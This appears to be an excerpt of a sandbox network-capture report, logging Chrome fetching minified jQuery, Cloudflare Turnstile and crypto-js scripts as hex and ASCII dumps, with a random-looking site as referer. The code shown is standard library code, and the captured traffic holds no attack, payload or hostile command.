2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49728	104.18.95.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:07 UTC	645	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://z2k.3kf2d.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:07 UTC	356	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 19:53:07 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/ec4b873d446c/api.js Server: cloudflare CF-RAY: 8cf06f7f0ddb43c1-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	104.17.24.14	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:07 UTC	647	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://z2k.3kf2d.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:07 UTC	924	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:07 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 391437 Expires: Sat, 27 Sep 2025 19:53:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GxmJo9JZLBytZOaxxcz8zH1VvACyTcu2TIJFkwh5h447ggtKCmw3XDZUgMlL2VeE7UieOQLleCkXJLDlWfxNuFhF1diZmZ%2FNoatyJt25t2qLxO5q9L4jwrluluMDD1aph0KaHpwd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cf06f7f2b6342d8-EWR
2024-10-07 19:53:07 UTC	445	IN	Data Raw: 37 63 30 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7c03!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-10-07 19:53:07 UTC	1369	IN	Data Raw: 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f 74 79 70 65 Data Ascii: balThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype
2024-10-07 19:53:07 UTC	1369	IN	Data Raw: 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 28 34 29 2e 72 65 61 64 49 6e Data Ascii: s.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomBytes(4).readIn
2024-10-07 19:53:07 UTC	1369	IN	Data Raw: 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 28 69 2c 61 29 3b 65 3d 69 Data Ascii: oncat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBlock(i,a);e=i
2024-10-07 19:53:07 UTC	1369	IN	Data Raw: 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 35 5d 3d 65 5b 35 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 34 5d 3e Data Ascii: )E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)\|0,e[5]=e[5]+886263092+(e[4]>
2024-10-07 19:53:07 UTC	1369	IN	Data Raw: 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 33 5d 3d 49 5b 33 5d 2b 28 49 5b 32 5d 3c 3c 38 7c 49 5b 32 5d 3e 3e Data Ascii: 65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>16)\|0,t[3]=I[3]+(I[2]<<8\|I[2]>>
2024-10-07 19:53:07 UTC	1369	IN	Data Raw: 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 77 6f 72 64 73 2c 72 3d 74 2e 73 69 Data Ascii: anceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function(t){for(var e=t.words,r=t.si
